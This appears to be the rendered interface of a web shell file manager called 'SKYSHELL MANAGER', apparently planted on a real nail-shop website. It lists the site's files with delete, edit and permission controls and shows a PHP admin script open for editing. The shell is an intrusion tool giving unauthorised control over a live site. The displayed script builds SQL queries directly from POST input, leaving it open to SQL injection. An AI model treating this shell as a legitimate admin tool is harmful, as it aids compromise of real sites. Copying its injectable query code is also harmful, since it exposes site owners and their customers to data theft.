📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
4802.21 KB
0644
🗑️
⬇️
✏️
🔒
Editing: deleteuser.php
<?php if (isset($_POST['deleteuser'])){ $appid = $_POST['user']; $date=date('Y-m-d H:i:s'); $del = mysqli_query($con,"DELETE from users where id='$appid'") or die ('Could not connect: ' .mysqli_error($con)); $submit = mysqli_query($con,"INSERT INTO `alerts` (`action`, `date`) VALUES ('$name deleted user with $appid completely','$date')") or die ('Could not connect: ' .mysqli_error($con)); $alertMessage="User Deleted Successfully!"; echo '<script>alert("'.$alertMessage.'");</script>'; header('Refresh:0; url=' . $_SERVER['REQUEST_URI']); exit(); } if(isset($_POST['makewhole'])){ $item = $_POST['user']; $date=date('Y-m-d H:i:s'); //$theamount=500000; //update $insert = mysqli_query($con,"UPDATE users SET verify='yes',status_log='inactive' where id='$item'") or die ('Could not connect: ' .mysqli_error($con)); //$insert = mysqli_query($con,"UPDATE users SET verify='yes',wallet = CAST(wallet AS DECIMAL(10,2)) + CAST('$theamount' AS DECIMAL(10,2)) where id='$item'") or die ('Could not connect: ' .mysqli_error($con)); //$submit = mysqli_query($con,"insert into wallet_charges (user,amount,type,reason,date,status) //values ('$item','500000','credit','top-up','$date','paid')") or die ('Could not connect: ' .mysqli_error($con)); //user details $sql = "SELECT * FROM users WHERE id = '$item'"; $sql2 = mysqli_query($con, $sql); while ($row = mysqli_fetch_array($sql2)) { $id = $row["s"]; $user_id = $row['id']; $user_name = $row['name']; $user_email = $row['email']; $user_phone = $row['phone']; $user_reg_date = $row['reg_date']; $user_lastseen = $row['lastseen']; $user_statuslog = $row['statuslog']; $user_verify = $row['verify'];} ///////////////////////////////// Mail Function started////////////////////////////////////////////////////////////////// $comments = $email_to = $email_subject = $email_from = $email_message = ""; $email_from="admin@chbluxuries.com"; $email_to = $user_email; $email_subject = "Wholesales Verification Successful! - CHB NAIL SHOP"; $email_message =" <div style='background-color:#000000; color:#fff !important; padding:10px 20px; width:500px;'> <p><img src='https://chbluxuries.com/img/favicon.jpg' width='100px' height='100px' /></p><br><br> <p style='color:#fff !important;'>Hello Dear $user_name,You are now a Verified CHB LUXURY EMPIRE Wholesaler! Congratulations on getting better deals for yourself</p> <br><br> <p style='text-align:center; color:#fff;'> Visit our website: <a href='https://chbluxuries.com/' style='color:#FF339A; text-decoration:underline;'> CHB NAIL SHOP </a> </p> </div>"; // create email headers $header = 'From: "CHBLUXURY NAIL SHOP" <admin@chbluxuries.com>'. "\r\n"; $header .= "Cc:admin@chbluxuries.com \r\n"; $header .= 'Reply-To: admin@chbluxuries.com' . "\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html\r\n"; if(!@mail($email_to, $email_subject, $email_message, $header)){ echo '<center><font color="red">mail cannot be submitted now due to server problems, Please try again.</font></center>';} ////////////////////////////////////////////End mail Function////////////////////////////////////////////////////////////// $submit = mysqli_query($con,"INSERT INTO `alerts` (`action`, `date`) VALUES ('$name made user with $item a wholesaler','$date')") or die ('Could not connect: ' .mysqli_error($con)); $alertMessage="User added as a wholesaler successfully!"; echo '<script>alert("'.$alertMessage.'");</script>'; header('Refresh:0; url=' . $_SERVER['REQUEST_URI']); exit(); } ?>
💾 Save Changes